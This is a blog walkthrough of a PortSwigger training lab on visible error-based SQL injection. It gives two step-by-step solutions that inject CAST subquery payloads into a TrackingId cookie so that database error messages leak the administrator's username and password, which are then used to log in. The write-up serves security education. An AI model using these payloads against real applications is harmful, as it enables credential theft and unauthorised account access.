1.9 Lab: Visible error-based SQL injection | 2023

This lab contains a SQL injection vulnerability. The application uses a tracking cookie for analytics and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned. The database contains a different table called users, with columns called username and password. Find a way to leak the password for the administrator and log in to solve the lab | Karthikeyan Nagaraj

Karthikeyan Nagaraj
4 min readNov 28, 2023

Description

This lab contains a SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned.

The database contains a different table called users, with columns called username and password. To solve the lab, find a way to leak the password for the administrator user, then log in to their account.

Pre-Requisite

Find the type of database using the below SQL Injection cheat sheet

Solution

  1. Capture the request of the homepage and send it to the repeater. we know that there is a tracking cookie where the vulnerability lies
  2. we have to use a conditional statement to append our query like AND,OR,..
  3. If we use a Conditional statement, then we have to make sure that the query returns a boolean value like 5=5 AND 1=1. So for this, we have to use the CAST option to convert a query into an Integer or Char based on the given value. Ex
    1=CAST((select ‘a’) AS INT),
    ‘a’=CAST((select 1) AS CHAR)
  4. For now, we’ll craft the query like the first case
  5. Sometimes the query may exceed the length. At the time remove the value or TrackingId
  6. Inject the query at the end of TrackingId like below
    ‘OR 1=CAST((SELECT username FROM users LIMIT 1) AS INT)--
  7. The Above query will be used to check whether 1 equals to the value of the inner query and, the inner query returns, only the 1st user from the user table because we have used LIMIT 1
  8. The query will return an error because it cannot cast the value of the subquery. But, it returns the value of the subquery as the username
  9. Now, we know that the first user is the administrator so,
  10. Use the same query, but replacing username with password to retrieve the password
    ‘OR 1=CAST((SELECT password FROM users LIMIT 1) AS INT)--
  11. Use the creds to log in to the administrator account to solve the lab...EnJ0y : )

Solution 2 — Portswigger

  1. Using Burp’s built-in browser, explore the lab functionality.
  2. Go to the Proxy > HTTP history tab and find a GET / request that contains a TrackingId cookie.
  3. In Repeater, append a single quote to the value of your TrackingId cookie and send the request.
    TrackingId=ogAZZfxtOKUELbuJ'
  4. In the response, notice the verbose error message. This discloses the full SQL query, including the value of your cookie. It also explains that you have an unclosed string literal. Observe that your injection appears inside a single-quoted string.
  5. In the request, add comment characters to comment out the rest of the query, including the extra single-quote character that’s causing the error:
    TrackingId=ogAZZfxtOKUELbuJ'--
  6. Send the request. Confirm that you no longer receive an error. This suggests that the query is now syntactically valid.
  7. Adapt the query to include a generic SELECT subquery and cast the returned value to an int data type:
    TrackingId=ogAZZfxtOKUELbuJ' AND CAST((SELECT 1) AS int)--
  8. Send the request. Observe that you now get a different error saying that an AND condition must be a boolean expression.
  9. Modify the condition accordingly. For example, you can simply add a comparison operator (=) as follows:
    TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT 1) AS int)--
  10. Send the request. Confirm that you no longer receive an error. This suggests that this is a valid query again.
  11. Adapt your generic SELECT statement so that it retrieves usernames from the database:
    TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT username FROM users) AS int)--
  12. Observe that you receive the initial error message again. Notice that your query now appears to be truncated due to a character limit. As a result, the comment characters you added to fix up the query aren’t included.
  13. Delete the original value of the TrackingId cookie to free up some additional characters. Resend the request.
    TrackingId=' AND 1=CAST((SELECT username FROM users) AS int)--
  14. Notice that you receive a new error message, which appears to be generated by the database. This suggests that the query was run properly, but you’re still getting an error because it unexpectedly returned more than one row.
  15. Modify the query to return only one row:
    TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
  16. Send the request. Observe that the error message now leaks the first username from the users table:
    ERROR: invalid input syntax for type integer: "administrator"
  17. Now that you know that the administrator is the first user in the table, modify the query once again to leak their password:
    TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
  18. Log in as administrator using the stolen password to solve the lab.

If you would like to support me so that I can create more free content — https://www.buymeacoffee.com/cyberw1ng

Thank you for Reading!

Happy Hacking ~

Author: Karthikeyan Nagaraj ~ Cyberw1ng

Telegram Channel for Ethical Hacking Dumps — https://t.me/ethicalhackingessentials

--

--

Karthikeyan Nagaraj

Security Researcher | Bug Hunter | Web Pentester | CTF Player | TryHackme Top 1% | AI Researcher | Blockchain Developer